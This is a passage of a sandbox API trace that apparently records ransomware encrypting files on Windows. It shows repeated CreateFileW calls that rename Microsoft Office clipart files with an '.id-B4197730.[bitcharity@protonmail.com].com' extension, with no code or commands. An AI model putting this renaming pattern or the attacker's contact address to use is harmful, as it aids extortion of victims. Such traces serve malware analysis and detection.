liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196358.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.376] CloseHandle (hObject=0x118c) returned 1 [0252.377] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.377] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.377] CloseHandle (hObject=0x118c) returned 1 [0252.378] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.378] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.379] CloseHandle (hObject=0x118c) returned 1 [0252.380] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.380] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.380] CloseHandle (hObject=0x118c) returned 1 [0252.382] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.382] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198016.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.382] CloseHandle (hObject=0x118c) returned 1 [0252.383] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.383] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198020.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.384] CloseHandle (hObject=0x118c) returned 1 [0252.385] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.385] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198021.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198021.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.385] CloseHandle (hObject=0x118c) returned 1 [0252.386] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.386] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198022.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.387] CloseHandle (hObject=0x118c) returned 1 [0252.388] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.388] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198025.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.389] CloseHandle (hObject=0x118c) returned 1 [0252.390] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.391] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198102.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.391] CloseHandle (hObject=0x118c) returned 1 [0252.392] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.392] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198113.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.393] CloseHandle (hObject=0x118c) returned 1 [0252.394] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.394] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198226.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.394] CloseHandle (hObject=0x118c) returned 1 [0252.395] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.395] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198234.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.396] CloseHandle (hObject=0x118c) returned 1 [0252.456] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.456] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198372.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.457] CloseHandle (hObject=0x1194) returned 1 [0252.459] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.459] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198447.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.460] CloseHandle (hObject=0x1194) returned 1 [0252.461] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.461] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198712.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.462] CloseHandle (hObject=0x1194) returned 1 [0252.464] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.464] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199279.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.464] CloseHandle (hObject=0x1194) returned 1 [0252.466] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.466] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199303.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.466] CloseHandle (hObject=0x1194) returned 1 [0252.468] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.469] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199307.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.469] CloseHandle (hObject=0x1194) returned 1 [0252.470] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.470] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199423.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.470] CloseHandle (hObject=0x1194) returned 1 [0252.471] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.471] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199429.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.472] CloseHandle (hObject=0x1194) returned 1 [0252.473] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.473] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199465.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.474] CloseHandle (hObject=0x1194) returned 1 [0252.475] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.475] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199469.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.476] CloseHandle (hObject=0x1194) returned 1 [0252.477] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.477] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199473.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.477] CloseHandle (hObject=0x1194) returned 1 [0252.478] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.479] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199475.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.479] CloseHandle (hObject=0x1194) returned 1 [0252.480] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.480] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199483.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.480] CloseHandle (hObject=0x1194) returned 1 [0252.482] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.483] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199609.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.483] CloseHandle (hObject=0x1194) returned 1 [0252.484] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.484] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200151.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.485] CloseHandle (hObject=0x1194) returned 1 [0252.486] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.486] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200163.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.487] CloseHandle (hObject=0x1194) returned 1 [0252.488] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.488] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200183.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.488] CloseHandle (hObject=0x1194) returned 1 [0252.489] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.489] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200189.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.490] CloseHandle (hObject=0x1194) returned 1 [0252.491] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.491] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200273.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.492] CloseHandle (hObject=0x1194) returned 1 [0253.082] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.083] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 